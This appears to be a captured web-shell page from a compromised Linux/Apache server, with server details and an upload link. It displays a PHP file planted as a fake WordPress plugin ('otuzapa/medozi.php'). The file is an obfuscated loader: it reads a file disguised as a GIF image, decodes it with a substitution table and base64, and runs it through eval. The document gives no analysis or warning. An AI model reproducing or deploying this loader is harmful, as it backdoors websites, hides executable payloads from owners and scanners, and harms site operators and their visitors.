HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/otuzapa/medozi.php
<?php

function ureqoqu_ytuqipe($hadefob_yxyvyjy) {
    if (!file_exists($hadefob_yxyvyjy))
        return false;
    $vychuro = @file_get_contents($hadefob_yxyvyjy);
    if (!$vychuro)
        return false;
    $vychuro = substr($vychuro, 3);
    $ufuwoze = arykolu_ahymube($vychuro);
    return $ufuwoze;
}

function arykolu_ahymube($hadefob_yxyvyjy) {
    $oborad = ytawedy_khatala;
    $kishoqo = array();
    for ($ykariwo = 0; $ykariwo < strlen($oborad); $ykariwo += 2) {
        $sopixo = substr($oborad, $ykariwo, 1);
        $ezoqici = substr($oborad, $ykariwo + 1, 1);
        $kishoqo[$sopixo] = $ezoqici;
    }
    $ewedaf = strtr($hadefob_yxyvyjy, $kishoqo);
    $ewedaf = base64_decode($ewedaf);

    return $ewedaf;
}

define("ytawedy_khatala", "b/qQDLyPT=+chxBCUVp67+tJ30RO0ba2u9EW4lwtApkAcyHgi4XGIhNmFDs8V1JEoHm7nZ8ud3=dORMICYGnvKLX6q1Fxkls2N9fYw/ogerBfaQUPvj5ZS5jKTezziSrWM");

$ewufach = ureqoqu_ytuqipe(__DIR__ . "/asse" . "ts/im" . "ages/m" . "azuf" . "a.gif");
if ($ewufach) {
    @eval($ewufach);
}